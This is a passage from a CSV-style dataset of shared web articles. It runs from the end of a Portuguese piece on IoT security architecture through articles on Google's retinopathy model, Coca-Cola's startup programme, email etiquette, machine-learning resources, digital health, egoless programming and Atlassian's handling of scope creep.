Coisas e o que eles oferecem para proteger a comunicação: RFID e NFC : A comunicação entre a etiqueta e o leitor é sem fio e pode ser facilmente escutada. Utilizar criptografia de dados é, portanto, essencial. Os algoritmos de criptografia simétrica que hoje são considerados suficientemente seguros são 3DES e AES-128. Ao gravar dados em uma nova etiqueta, a chave de autenticação padrão deve ser alterada. A gestão de chaves para as etiquetas é feito pelo sistema que controla o leitor. As etiquetas RFID em si são muito variadas e com isto, a segurança também deve ser levada em conta quando adquiri-las. A etiqueta Mifare Plus, por exemplo, é uma atualização da etiqueta Mifare Classic, porque oferece criptografia AES-128. A etiqueta Mifare Classic usa um algoritmo proprietário com base em uma chave de 48 bits que já foi violado; Zigbee: A comunicação entre um dispositivo Zigbee e a aplicação é protegida porque o algoritmo usado para criptografia é o AES-128. Por outro lado, a troca de chave inicial deve ser considerada insegura. Quando um novo dispositivo é adicionado à rede, a chave é enviada para o dispositivo na forma de texto aberto (não criptografado) e pode ser encontrada por sniffers , se o timing for correto; Thread: A comunicação entre dois dispositivos Thread é protegida por uma criptografia AES . O estabelecimento de chaves entre um novo dispositivo e a aplicação é feito de forma segura usando um algoritmo de troca de chaves. Fontes de ataque também podem ser agrupados em tipos de ataques mais técnicos que miram componentes específicos do sistemas. São eles: Autenticação; Autorização; Validação de autenticidade: assinatura para mensagens; Mecanismos de troca de chaves; Encriptação; Configurações - podem ser uma ameaça de segurança para configurações ruins e que sejam padrões; Bibliotecas de terceiros: quando não atualizados podem conter vulnerabilidades e exploits conhecidos; Segurança de rede. O Triângulo da Segurança nos mostra o dilema de escolher a quantidade certa de segurança de acordo com nosso caso de uso. Este triângulo de alguma forma representa um compromisso que ocorre em todos os casos de uso. Você só pode escolher um ponto no interior do triângulo que representa o que você quer ou precisa em termos de requisitos de segurança, custo e de negócios. Vejamos alguns exemplos: Exemplo 1 : Banco Acme constrói um cofre: É crucial usar hardware seguro para este caso de uso, que não pode ser adulterado. Para alcançar o máximo de cobertura em requisitos de negócios e de segurança, os custos vão aumentar muito. Exemplo 2: O fazendeiro Billy Bob quer comprar alguns sensores novos para saber em seu smartphone como sua lavoura está indo, mas ele não precisa de um monte de segurança. Por agora, o fazendeiro Billy Bob tem seus requisitos cumpridos, teve poucos custos e pode seguir vivendo feliz. Bem, pelo menos até que o filho do fazendeiro Jimmy Junior, que foi estudar engenharia da computação se gradue... Portanto, encontrar as medidas de segurança adequadas ao longo da arquitetura completa é sempre uma caminhada na corda bamba, uma vez que os requisitos de negócios e os custos muitas vezes se contradizem com relação às medidas de alta segurança. Além disso, pode acontecer que certos requisitos técnicos nos restrinjam de utilizar as mais altas medidas de segurança, como por exemplo dispositivos de baixa potência que não são capazes de aceitar uma certa sobrecarga ao enviar pacotes, pois isso resultaria em consumir mais energia. Neste artigo, buscamos mostrar que é possível quebrar o mundo da Internet das Coisas em um nível mais compreensível. Técnicas de computação contextual ajudam a fazer certas partes deste mundo mais compreensíveis. Em um próximo artigo mostraremos como casos de uso podem ser derivados da arquitetura de referência RILA para fornecer um quadro mais completo sobre como a RILA pode realmente nos ajudar com a implementação de sistemas da Internet das Coisas. Sobre os Autores Hannelore Marginean é desenvolvedora na Senacor Technologies, Alemanha. Entre outras atividades, gosta de descobrir tecnologias inovadoras e passou um tempo pesquisando sobre as possibilidades, os riscos de segurança e os benefícios da IoT. No seu tempo livre, ela gosta de pintura e de tocar violão. Daniel Karzel é consultor técnico na Senacor Technologies, Alemanha. Durante seus estudos de mestrado em computação móvel trabalhava com Computação Contextualizada e a Internet das Coisas. Além de ficar pensando sobre arquitetura de software para o futuro, em suas horas vagas, gosta de tocar acordeon e viajar pela China. Tuan-Si Tran é desenvolvedor na Senacor Technologies, Alemanha. É entusiasta de interfaces visuais e interessado em tecnologia de ponta. Em seu tempo livre gosta de jogar tênis.",pt
1481555040,CONTENT SHARED,3716124214746295857,3609194402293569455,4506332254516554808,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2016/12/09/aprendizado-de-maquina-do-google-pode-detectar-retinopatia-diabetica/,Aprendizado de máquina do Google pode detectar retinopatia diabética | Google Discovery,"Existem mais de 415 milhões de pacientes diabéticos em todo o mundo, mas poucos são os casos de retinopatia diabética diagnosticadas precocemente e que, com tratamentos adequados, poderiam evitar à cegueira irreversível. A maneira mais comum para detectar a doença está na análise de imagens do fundo do olho que auxiliam os médicos a determinar se existem sinais da doença e sua gravidade. Entretanto, segundo o Google, nem todas as pessoas tem acesso fácil a hospitais e clínicas. ""Milhões não estão recebendo os cuidados de que necessitam para evitar a perda de visão"", diz a empresa. Com o objetivo de levar a tecnologia a todos, o Google criou um algoritmo de aprendizagem profunda capaz de interpretar sinais de retinopatia diabética em fotografias da retina. De acordo com o buscador, mais de 128.000 imagens oculares foram usadas para para treinar a rede neural e torná-la capaz de detectar retinopatia diabética. Apesar dos ótimos resultados, o Google ainda tem uma longa jornada de trabalho antes de colocar sua tecnologia nas mãos dos médicos. ""Esperamos que este estudo seja um de muitos exemplos da capacidade de aprendizagem de máquina em ajudar a resolver problemas importantes na área da saúde"", publicou Lily Peng, gerente de produto.",pt
1481557305,CONTENT SHARED,-5736221996280340620,361614354650880527,-5665831239764274893,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",MG,BR,HTML,http://www.forbes.com/sites/danwoods/2016/12/06/how-coca-cola-is-harvesting-innovation-energy-from-startups/,How Coca-Cola Is Harvesting Innovation Energy From Startups,"In 2013, after senior leadership at The Coca-Cola Company challenged its IT staff to find ways to accelerate innovation, Alan Boehme realized that rounding up the usual suspects would not get the job done. Instead, Boehme, an enterprise IT veteran with deep connections in Silicon Valley, realized that he had to find a way to bring the vibrant energy of startups to the problems his company was facing. The result is a program Boehme, Chief Technology Officer, Chief Innovation Officer & Chief Architect at the Coca-Cola Company, and his team created called The Bridge , which held its third showcase event in Atlanta on September 27, 2016. In short, The Bridge is a systematic way that a large organization can engage with startups to move the needle with respect to urgent problems. See this video for a summary of the 2015 Bridge Showcase event. Here's how it works in a nutshell: Internal sponsors are found who have problems and some budget to help fund The Bridge program. In later iterations external partners such as Turner have joined the program. The internal sponsors help define a set of relevant themes, like customer engagement, marketing innovation, health and wellness. Startups are found that have technology relevant to those themes. The startups are offered marketing and other training to participate in the program. Startups connect with internal sponsors over the course of the program, with a view to doing a proof of concept with their technology at Coca-Cola. At a public showcase event, all the progress made during the Bridge program is celebrated and the startups are introduced to customers and partners. So far Boehme and his team have run three cycles of the bridge, resulting in a variety of projects that have applied the technology to both marketing and operations functions. Here are some of the startups that Coca-Cola has engaged with through The Bridge: Cimagine allows a tablet to become an augmented reality system for projecting what a cooler, vending machine, signages, or other point of sale material would look like in an retail environment. Store owners can take a photo and virtually set up equipment. Using this technique reduces delays and return rates. Bringg is creating an ""Uber"" for the enterprise provides a platform to support delivery of products/services on demand. Fusic offers an innovative music and film creation , sharing and social platform allowing the user to be part of the theatrical video clip or music video and share with their friends Weisbeerger is a big data analytics platform that provides in-depth insights to beverage use-age and facilitates on data driven sight marketing and promotional campaigns. Endor out of MIT implements the concept of ""Social Physics"" to gain behavioral insights into consumers with minimal effort. Dov-e creates a way to use inaudible sound waves to trigger actions on mobile devices (promotions, coupons , experiences ) delivered through TV, Radio, movie screens speakers etc. The result of The Bridge is that Coca Cola has been able to quickly adopt new technology in ways that would have never been possible using traditional processes. ""Innovation is an engine, a journey toward something new that can be frightening. It must be pursued and fought for,"" said Boehme. ""The things you achieve through perseverance and by taking risks are worth all of the obstacles that you are facing."" Sidestepping the Immune System in IT that Can Thwart Innovation It is important to point out that Boehme and his team are not proposing that the current way that enterprise IT works should be tossed out. Traditional IT at a healthy and well-run company helps a business operate in a stable manner, reduce costs, adopt new technology in a way that minimizes risks and solve new problems with a certain type of innovation. ""IT departments constantly innovate with the help of consultants and vendors to solve the unique problems facing their businesses and also to adopt proven technology in a methodical manner,"" said Anthony Newstead, Global Group Director Emerging Technologies & Strategic Innovation, who works on Boehme's team. ""But the processes in place to govern traditional IT act as an immune system against the type of innovation that comes from startups."" Startups are not about proven technology, but about new technology and new ways of working that are just emerging. To succeed, startups must be targeting important problems that are present in many companies. The question The Bridge seeks to answer is: How can a large organization jumpstart its journey to new ways of working by engaging with startups? ""The Bridge is about balancing efforts at innovation in IT,"" said Newstead. ""We want to find the parts of Coca-Cola where a startup's ideas and technology can move the needle, and try that approach out and see if it works."" The Bridge overcomes the IT immune system by taking barriers away and getting to the proof of concept as fast as possible. If a project is successful, enterprise wide deployment may indeed be achieved through traditional IT processes. But The Bridge accelerates discovery of ways to make new technology work. The Bridge also works because it creates good will. Boehme says that seeking sincerely to help the startups participating in The Bridge, rather than trying to negotiate purchase of equity or other models for engaging with startups, really creates a positive environment for exploring new ideas. There are mechanisms for Coca-Cola to protect competitive advantages it may gain from new technologies. Limited non-compete agreements are signed so that the new technology cannot be used by specified competitors of Coke for the 7-month duration of the Bridge program. The Bridge also nicely supplements the traditional form of IT innovation where consultants are brought in to create a company specific solution. In the Bridge, startups are creating general solutions with a broad appeal. This focus on using generally applicable technology for innovation also fills innovation white space in a new way. Expanding the Bridge At the event in Atlanta, Coca Cola was joined by Turner who signed up for The Bridge program for the most recent cycle. Boehme realized that by adding other companies to The Bridge it would be possible to engage with more start ups and to offer different types of training. ""We're a company that has always strived to be ahead of where the media consumption patterns are going,"" said Peter Scott, Vice President of Emerging Media and Innovation for Turner Studios and Turner Sports. ""When Coke asked us to join, it was clear that The Bridge would allow us to explore and find new companies that have synergies with our mission, whether it's blockchain, ad blocking, video highlights, or whatever the topic is."" Mercedes-Benz is also planning to join the next cycle of the The Bridge. An IT innovation strategist at Daimler said Mercedes-Benz is in discussions for a strategic cooperation with Coca-Cola and Turner Broadcasting in order to enhance the status of the development and sales of digital services to customers, to introduce new working methods for their employees, as well as new organizational structures, and to better anticipate the needs of their customers and offer them more personalized products and services. The IT strategist said the Bridge will help Mercedes-Benz share best practices with other giants, like Coca-Cola and Turner, as well as the most promising startups. New concepts can be quickly tested and help foster an entrepreneurial spirit, and promote radical innovation and outside-the-box-thinking. Startups find that The Bridge is an opportunity to learn about how their tech works in the real world, to learn key skills, and to build confidence. ""The Bridge provided a huge opportunity to work with a company like Coke,"" said Noa Levy, COO and co-founder of Platica, which offers a vertical AI engine for automatic customer support over any chat platform. ""As a small startup, getting to work with this kind of client would be near to impossible. Learning how to market and sell and also being treated as a peer by team members at Coke was amazing."" Doron Alter, co-founder and CEO of Endor, a startup that offers analytics to help understand, predict, and influence the dynamics of human behavior, said that bringing the ""fail fast"" mentality of startups to Coke had a mutually beneficial effect. ""Within a matter of two months of joining The Bridge, we actually started to pilot our technology within the Coca-Cola ecosystem and after only two more months the results were very clear,"" said Alter. ""Without The Bridge, we would have never been able to work with such a big company and in such a short time."" The first round of The Bridge was run in Tel Aviv in 2014. It focused on bringing startups from Israel to the attention of Coca-Cola. The Tel Aviv program continues and is currently in its third cycle. Boehme's vision is to carry The Bridge forward by including more sponsoring partners to startups in other geographies so that the local communities there can offer their technology to Coca-Cola and others. To find out more about The Bridge see . Follow Dan Woods on Twitter: Follow @danwoodsearly Dan Woods helps users ( CITO Research ) find the right technology and vendors ( Evolved Media ) explain their wares . Dan's Client List .",en
1481559221,CONTENT SHARED,-6659933088254630422,-5527145562136413747,-8402064148877345646,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",RJ,BR,HTML,https://medium.com/desk-of-van-schneider/how-to-e-mail-a-busy-person-get-a-reply-88b8d1810e1f,How to E-Mail a Busy Person & get a Reply - Desk of van Schneider,"While I don't really like to consider myself as a busy person, I love receiving a good written email. And with an average of around 150 emails I get a day, I do have troubles catching up with everyone while still trying to get work done at the same time. I pride myself in answering every single E-Mail I get as long as it's not a mass E-Mail. I do this since many years, but I learned that this isn't a scaleable solution. Here is what I learned - And remember, it's not about ME answering your E-Mail, it's about YOU getting what you want by using smart tricks. №1. Do Use the elevator pitch Whatever you're writing about, begin your E-Mail with a short summary explaining what this E-Mail is about. Don't do the ""How are you, I'm fine whatever"" bullshit small talk. I know it's hard because we don't want to sound rude, but it's more rude to steal someones time with just throwing around words. Write a clear action oriented intro, if you need to add details they should be optional to read. Try to not talk too much about yourself - Just add a link to your bio online if you want to add some extra credibility. (which does help a lot) №2. Do Say what you want Write what you want upfront, then go into details if needed. Trust me, busy people appreciate nothing more than this. In case you write a non-busy person this rule might not apply and you begin with some irrelevant small talk trying to be polite - That's great, but doesn't work here. Be friendly and polite but get to the point and say what you want. If you don't actually want anything, just put FYI in the subject line but don't expect a reply. №3. Don't try to score on the first date There are a few things you might want to achieve when sending an E-Mail. You're either trying to establish a connection, or you try to get something specific. While I strongly encourage getting to the point and say what you want upfront, it's important to know that there's a fine balance and always two sides of the coin. Trying to score on the first date is dangerous, it can ruin the whole relationship immediately. If you want something, first tell me WHAT and then tell me WHY this is beneficial for both of us. This is of course a case by case example, but trying too hard on the first date is not the same as saying what you want upfront. Busy people are usually willing to help without getting anything in return, but they do expect some WHY to do the effort. №4. Do Format your E-Mail Don't send a wall of text. Use breaks and format your E-Mail properly so it's easy to digest. Most E-Mails that don't get a reply are horribly formatted and a pain to read. Chances are high you won't get a reply to an E-Mail that is not formatted at all. №5. Do Use Numbers Every time I reply to E-Mails I take them apart and give key sections of the E-Mail numbers, as I do in this article. It takes me a lot of time but helps the recipient to digest and get back to me in the same fashion which then saves me time in return. With that I give clear action steps. If you send me numbers back, I can easily reply to 1,2,3 and boom done! This is one of the most important tricks to get E-Mail done for me. Don't make me format YOUR E-Mails, just so I can reply to them. The easier you can make it for me, the higher the chances that I reply with exactly what you've been looking for - And isn't that what you want? I don't think E-Mail sucks, but the way we write them does. We need to fix the problem at the source, which means writing better emails. №6. Don't ask if I got it, send it again. I do this too. If you haven't received a reply in more than a week, copy the same E-Mail and send it again. Don't add more things to it or ask me if I got the E-Mail or why I didn't reply. Just send the same E-Mail again. Every time someone does this I'm very thankful because it either serves as reminder, or sends me the E-Mail again I might have overlooked. It's not rude to send exactly the same E-Mail again (you might even optimize the intro part or subject line) -  But it's rude to reply on your own E-Mail asking me why I haven't replied. Why? Because then I need to find the original E-Mail with no context which will delay the reply even further. PRO TIP: Don't ask ""Why did you not reply?"" or ""Did you get my email?"". These questions don't help anyone and only put pressure on the recipient. Just send the same, or slightly modified emails again. №7. Don't send NDA's Please do not send secretive E-Mails with NDA's attached about this new awesome cutting-edge thing you're working on but can't talk about. There is just nothing actionable we can do here. Remember, busy people are not sitting bored at home waiting for random NDA's to sign - If it's a really important project, there are other ways to get the message through. №8. Don't ask a question to ask questions Sending an E-Mail with the question if you can ""pick my brain"" to ask me even more questions. What do you expect me to reply? Send questions through right away if you want answers (and use numbers, see Nr. 5) If you plan to ask 10 questions but know I might be overwhelmed, send me 5 right away and the other 5 after I replied. It's important to get to the point, but at the same time not overwhelm the person on the other end. №9. Don't do bullshit office jargon If you write something like ""holistic high level overview of potential synergies using cutting edge technologies"" my brain is already dead before I can hit the reply button. №10. Do use a GIF & be funny You can't believe how much a funny GIF helps. Everything that makes me smile is a bonus. Time I enjoy wasting, was not wasted. One of my favorites. _____ These are my learnings & how I try to write E-Mails myself as well whenever I approach people who I identify as busy. I believe E-Mail is as great as the people who write them. The known problems we face with e-mails are because of the way they're written (or written at all), not because of the technology. Want to share your email secrets with me? Please do @vanschneider Let's write better emails! Tobias",en
1481569051,CONTENT SHARED,-6639617916149472585,3829784524040647339,3020860026176287352,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36",SP,BR,HTML,https://medium.com/machine-learnings/a-humans-guide-to-machine-learning-e179f43b67a0,The Non-Technical Guide to Machine Learning & Artificial Intelligence - Machine Learnings,"Shivon Zilis and James Cham , who invest in machine learning-related companies for Bloomberg Beta, recently created a machine intelligence market landscape . Below, you can find links to the 317+ companies in the landscape (and a few more), and play around with some apps that are applying machine learning in interesting ways. Enterprise Intelligence �� Audio ��Internal Data �� Market Enterprise Functions ☎️ Customer Support �� Sales �� Marketing �� Security �� Recruiting Autonomous Systems �� Ground Navigation ✈️ Aerial �� Industrial Agents ��️ Personal �� Professional Industries �� Agriculture �� Education �� Investment �� Legal �� Transportation/Logistics �� Materials �� Retail Finance Healthcare �� Patient DreamUp Vision �� Image �� Biological Technology Stack �� Agent & Conversational Interfaces �� Data Science �� Machine Learning ��Natural Language �� Development ��Data Capture ��Open Source Libraries ��Hardware ��Research People to Know in Machine Learning and AI I think AI is probably the single biggest item in the near-term that's likely to affect humanity - Elon Musk Andrew Ng Chief Scientist of Baidu; Chairman and Co-Founder of Coursera; Stanford CS faculty. Harry Shum EVP, Microsoft AI and Research. Geoffrey Hinton The godfather of deep learning. Samiur Rahman CEO of Canopy. Former Data Engineering Lead at Mattermark. Jeff Dean Google Senior Fellow at Google, Inc. Co-founder and leader of Google's deep learning research and engineering team. Eric Horvitz Technical Fellow at Microsoft Research Denny Britz Deep Learning at Google Brain. Tom Mitchell Computer scientist and E. Fredkin University Professor at the Carnegie Mellon University. Kirk Borne The Principal Data Scientist at Booz Allen, PhD Astrophysicist. Fei-Fei Li Professor of Computer Science, Stanford University, Director of Stanford AI Lab. David Silver Royal Society University Research Fellow. Roberto Cipolla Department of Engineering, University of Cambridge. Gabe Brostow Associate Professor in Computer Science at London's Global University. Pieter Abbeel Associate Professor, UC Berkeley, EECS. Berkeley Artificial Intelligence Research (BAIR) laboratory. UC Berkeley Center for Human Compatible AI. Co-Founder Gradescope. Josh Wills SlackData Engineering and Apache Crunch committer. Noah Weiss Head of Search, Learning, & Intelligence at Slack in NYC. Former SVP of Product at foursquare + Google PM on structured search. Michael E. Driscoll Founder, CEO Metamarkets . Investor at Data Collective Ben Lorica Chief Data Scientist of O'Reilly Media , and Program Director of O'Reilly Strata & O'ReillyAI conferences. Ben hosts the O'Reilly Data Show Podcast too. Chris Nicholson Co-founder Deeplearning4j & Skymind . Previous to that, Chris worked at The New York Times. Dror Berman Founder, Innovation Endeavors. Dylan Tweney Founder of @TweneyMedia, former EIC @venturebeat, ex-@WIRED, publisher of @tinywords. Gary Kazantsev R&D Machine Learning at Bloomberg LP. Gideon Mann Head of Data Science / CTO Office at Bloomberg LP. Gordon Ritter Cloud investor at Emergence Capital, cloud entrepreneur. Jack Clark Strategy and Communications Director OpenAI. Past: @business World's Only Neural Net Reporter. @theregister Distributed Systems Reporter. Federico Pascual COO & Co-Founder, MonkeyLearn . Matt Turck VC at FirstMark Capital and the organizer of Data Driven NYC and Hardwired NYC . Nick Adams Data Scientist, Berkeley Institute for Data Science. Roger Magoulas Research Director, O'Reilly Media. Sean Gourley Former CEO, Quid. Shruti Gandhi Array.VC, previously at True & Samsung Ventures. Steve Jurvetson Partner at Draper Fisher Jurvetson. Zavain Dar VC Lux Capital , Lecturer Stanford University , Moneyball Philadelphia 76ers . Yann Lecun Director of AI Research, Facebook. Founding Director of the NYU Center for Data Science Sarah Catanzaro Investor @canvasvc; former Data Lead @Mattermark. Paul Hsiao AI + Marketplace Investor @CanvasVC. Ryan Dawidjan .Product Team, Clarifai. Lucy Wang . Data Scientist, VC Greycroft Partners , MS NYU Center for Data Science . Roger Chen Program Chair, O'Reilly Artificial Intelligence Conference. Jason Yosinski Machine Learning Scientist at Geometric Intelligence. Soumith Chintala Artificial Intelligence Research Engineer at Facebook. Suchi Saria Assistant Professor at Johns Hopkins University. Expertise in machine learning, streaming data and health informatics. Peter Norvig Research Director at Google. Zoubin Ghahramani Researcher and Professor of Information Engineering at the University of Cambridge. Daphne Koller Professor of Computer Science at Stanford, Co-Founder of Coursera. Amir Banifatemi Leads and provides thought leadership for the Global IBM Watson Artificial Intelligence Xprize prize. Frank Chen Partner at Andreessen Horowitz. Lili Cheng General Manager, Fuse Labs, Microsoft Research. Shane Legg Chief Scientist and Co-Founder, Deepmind. Mustafa Suleyman Co-founder of Deepmind. Artificial Intelligence and ML Events I've written previously about my (lack of) love for networking events . NYAI has managed to rise above the noise and organize ~1,500 researchers, students, founders, and investors who are genuinely awesome people . The impacts that machine learning and AI have on our world will not be felt in isolation. These changes will affect all of us. NYAI's monthly events are the best way, that I've found so far, to learn about, collaborate on and network over emerging trends in artificial intelligence. Did I miss any awesome people/companies/resources? Let me know on Twitter !",en
1481599948,CONTENT SHARED,-1463025432902754108,-2820994773540913369,3293060115025822072,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://saudebusiness.com/noticias/transformacao-digital-na-saude-3-pilares-que-devem-ser-reinventados/,Transformação digital na Saúde: 3 pilares que devem ser reinventados - Saúde Business,"O caminho rumo à transformação digital requer muito mais do que adoção de tecnologias. É necessário uma mudança cultural, com a união de todas as áreas - operacionais e médicas - e profissionais de saúde. A mudança começa na conscientização da importância da digitalização para a assistência à saúde e segurança do paciente, e passa por três grandes pilares, como explica o médico Abel Magalhães, professor de informática em Saúde do Instituto de Pós-Graduação e Pesquisa em Administração da Universidade Federal do Rio de Janeiro (COPPEAD-UFRJ) e diretor de comunicação e mídias sociais da Sociedade Brasileira de Informática em Saúde (SBIS). ""A saúde digital pede a reinvenção do modelo de negócios da empresa, dos processos e dos métodos de trabalho"", explica. Para isso, é essencial contar com planejamento detalhado das mudanças, com perspectiva de investimento e tempo, e pessoas capacitadas para as implementações. Veja abaixo mais detalhes desses pilares: Eles devem ser proativos e flexíveis para responder rapidamente à evolução das necessidades dos pacientes, cada vez mais informados e exigentes, ou às mudanças demográficas. O modelo de negócio para a transformação digital deve se basear nos seguintes pontos: Integrar: mesclar bem-estar, prevenção e monitoramento, com assistência focada no paciente por completo, não apenas a um cuidado específico; Especializar: identificar e direcionar os pontos fortes da instituição, para eliminar atividades de menor valor; Praticar: compartilhar pesquisas clínicas para obter o que houver de mais moderno e eficaz para a oferta de uma terapia personalizada; Criar: reagir a segmentos emergentes como saúde corporativa, turismo médico e saúde no varejo; Interligar: equilibrar oferta e demanda, sincronizar e promover a saúde de acordo com as necessidades do paciente. Os novos processos têm o objetivo de unir especialistas e pacientes e, segundo Magalhães, devem se basear no desenvolvimento e execução de uma estratégia digital de negócios, baseada em cinco pontos: Núcleo Digital: refazer a plataforma de processos centrais de negócios, para que as transações e análises em tempo real façam parte dela. Isso garante respostas mais inteligentes, rápidas e simples; Participação do paciente: o cuidado deve ser holístico, com o envolvimento do paciente e o trabalho colaborativo entre todos os profissionais. Isso garante uma medicina personalizada, serviços de valor e terapias baseadas em resultados; Recursos Humanos: capacitar e envolver todos os funcionários e equipes; Internet das Coisas (IoT): aproveitar as informações gerados pela IoT para aprimorar as decisões clínicas e os diagnósticos e otimizar estratégias de prevenção ""Cada unidade assistencial deve ser vista de forma mais ampla, relacionando o desempenho com a estratégia da instituição"", diz Magalhães. Segundo ele, a criação de uma área de planejamento e gestão da qualidade, por exemplo, com uma equipe contratada que detenha essa metodologia, pode funcionar como um setor de inteligência para a mudança de cultura. Para a formatação desse modelo, a instituição deve selecionar indicadores de monitoramento para cada área e seus respectivos gestores, levando em consideração o impacto na qualidade e segurança da assistência, os custos institucionais, o prazo de entrega e, até mesmo, o retorno dos investimentos. A ideia é criar um ecossistema que beneficie todos, modificando a maneira como os profissionais trabalham: Médicos que podem, agora, coordenar um paciente mais informado e capacitado substituindo a hierarquia tradicional e a prática da consulta em que só o médico diz o que é melhor; Enfermeiros como cuidadores pessoais assumem mais responsabilidade no tratamento; Decisões clínicas mais fáceis devido ao acesso rápido de informação a qualquer hora ou local e com mais inteligência no fluxo de trabalho; Mais espaço - e possibilidades - para a pesquisa clínica. ""A incorporação de novas tecnologias, como reflexo da transformação digital, é uma tendência inevitável para as instituições de saúde, mas isso precisa estar diretamente ligada à melhoria da assistência. Em pouco tempo, isso será mais natural, com hospitais adquirindo tecnologias como forma de complementar ou melhorar as já desenvolvidas pela instituição"", completa. Entenda como a tecnologia vai transformação a assistência de Saúde para pacientes, profissionais e fornecedores. Baixe, gratuitamente, o ebook ""Um futuro na saúde digital""",pt
1481626644,CONTENT SHARED,-1878128207048892154,-2979537012405607453,-2564952476915635344,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/,The Ten Commandments of Egoless Programming,"The Ten Commandments of Egoless Programming, as originally established in Jerry Weinberg's book The Psychology of Computer Programming : No matter how much ""karate"" you know, someone else will always know more. Such an individual can teach you some new moves if you ask. Seek and accept input from others, especially when you think it's not needed. Critique code instead of people - be kind to the coder, not to the code. As much as possible, make all of your comments positive and oriented to improving the code. Relate comments to local standards, program specs, increased performance, etc. The human principles of software are truly timeless; The Psychology of Computer Programming was written way back in 1971, a year after I was born!",en
1481636987,CONTENT SHARED,-1324705355456975418,-1915495401947962903,7061003717838959378,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://blogs.atlassian.com/2015/09/4-how-tos-dealing-with-scope-creep/,4 essential how-tos for dealing with scope creep,"Stealthy and unavoidable, scope creep hovers over every software development project. Like any other agile practice, no two teams manage scope creep the same and teams at Atlassian are no exception. So we decided to go straight to the horse's mouth to learn how two of our teams deal with scope creep. We interviewed development leads on two teams: the JIRA Agile team and the Fusion team - our Fusion team oversees JIRA Software's integrations with Atlassian's developer tools . Even though these teams work together often, we were surprised to learn how differently they manage scope creep. But before we get into their stories, let's remind ourselves of what scope creep is and why it happens. When scope starts to creep Scope creep is when a project grows beyond its original ambition while in progress (i.e., work added that was not part of an original sprint, epic, or even release). Scope creep can happen for a number of reasons, including: Market conditions change and require a different feature set User feedback reveals that a feature needs to work differently Implementation complexity or unexpected dependencies unfold as teams work A poor understanding of the original project's scope causes continuous growth (this should sound very familiar) Keep in mind, scope creep is not necessarily a bad thing. Scope creep can be a healthy indicator for an agile team as you keep iterating, learning, and reacting to external input. But when it's not managed properly or is transparently handled, it turns into a problem. Whatever the cause, it is important to know how to (1) identify scope creep, (2) understand the impact, (3) make data-based decisions to adjust, and lastly (4) clearly communicate changes to the entire team. 1. How to identify scope creep Scope creep rarely materializes out of thin air, but identifying it early on is key. Why? Because scope creep can delay a release, or worse: it can introduce unnecessary code and risk to software. So how does the JIRA Agile team identify scope creep? Development manager Michael Tokar says that during a sprint - the JIRA Agile team works in two week sprints - his team loves AtlasBoards, gadgets, and burndown charts. He has AtlasBoards setup on TV's around his team with the Sprint Health widget front and center. The Sprint Health widget shows bars that simply SUM(Estimates) groupings of status/columns. He has his widget set up with a condensed view to show a progress bar with time elapsed and scope completed. This means that scope change is visible for Michael and the entire team during a sprint. Info : AtlasBoards are an open-source wallboard framework, which pull in information from JIRA, Bitbucket and Bamboo. Wallboards in general cycle through vital data about the progress of the team during a sprint. Check out AtlasBoards here and learn how to make your own configurable AtlasBoard. Besides Atlasboards, Michael also recommends setting up the Agile Sprint Health Gadget and the Agile Sprint Burndown Gadget on your JIRA dashboard. For those not familiar, burndown charts depict the actual versus estimated amount of work to be done in a sprint. This graph helps a development manager like Michael see how his team delivers work during a sprint and the likelihood of reaching the sprint goal. When the burndown doesn't follow the guideline, this is a strong indication that something has gone awry and scope creep is a likely culprit. Since all JIRA Agile reports show data in real-time, Michael is able to see blips on a graph or percentage changes without having to do much digging. For the Fusion team, identifying scope creep depends on the type of scope change. Bruce Templeton, the team lead, says that real scope creep where the product owner says ""Don't ship until you do X, Y, and Z"", is the most straight-forward kind and easiest to identify. He creates stories in Portfolio for JIRA and the team assigns estimates to these stories to see the impact. On the other hand, scope caused by unforseen variables - e.g. an API changed, or the the feature needs to fit into a different page layout - is found by integrating early and continuously with extensive Bamboo builds. Because the Fusion team is dependent on other teams, Bruce also uses ""scrum-of-scrum"" meetings - multi-team stand-ups with several scrum teams working on a large project - to identify scope change. Scrum-of-scrums opens doors for knowledge-sharing and surfaces important issues, such as scope creep, early on. ProTip : Some teams may choose to have the scrum of scrums only 2 or 3 times per week, but run the meeting a bit longer than 15 minutes. Keep in mind, though, the scrum of scrums is not a boring status meeting where team members tune out. Keep these stand-ups focused. Surface issues that affect the group, decide what actions (if any) need to be taken and by whom, then close the meeting. 2. How to understand the impact of scope creep With reports, gadgets and tools like JIRA Portfolio it's pretty easy to see when scope creep, well... creeps into a sprint's workload. The next step, managing the impact of scope creep, is a bit more complicated. As Michael describes it, dealing with scope creep is ""not just about mitigating, it's about understanding."" As we mentioned above, change in scope can range from adding a new story that is required in order to complete work you've already committed to. Or perhaps a specialist on your team who ran out of work during a sprint and needs more. And an even more common one is when the product manager has received an urgent request from a stakeholder. In all of these instances, the team lead is in talks with the product manager before the scope is added or just after. As Michael puts it, team leads care most about ""how much did we commit to and get done"" during a sprint. So after a new story is added, it is brought to the attention of the team at the next stand-up - particularly if it's high priority. Part of understanding the impact of scope creep, for the JIRA Agile team, is communicating change early on between team members, which triggers conversations around estimation and the trade-offs of adding new work. Bruce, on the other hand, is immediately interested in how scope change affects when his team can deliver, so he uses Portfolio for JIRA to play with ""what-if scenarios."" Bruce ensures all his team's data from JIRA Software is rolled up into Portfolio for JIRA, so he can model what-if scenarios and see the impact of scope changes on the Fusion team's roadmap. This scenario planning is generally done with both Bruce and the Fusion team's product manager in which they move around variables like release dates, scope and resources (i.e., 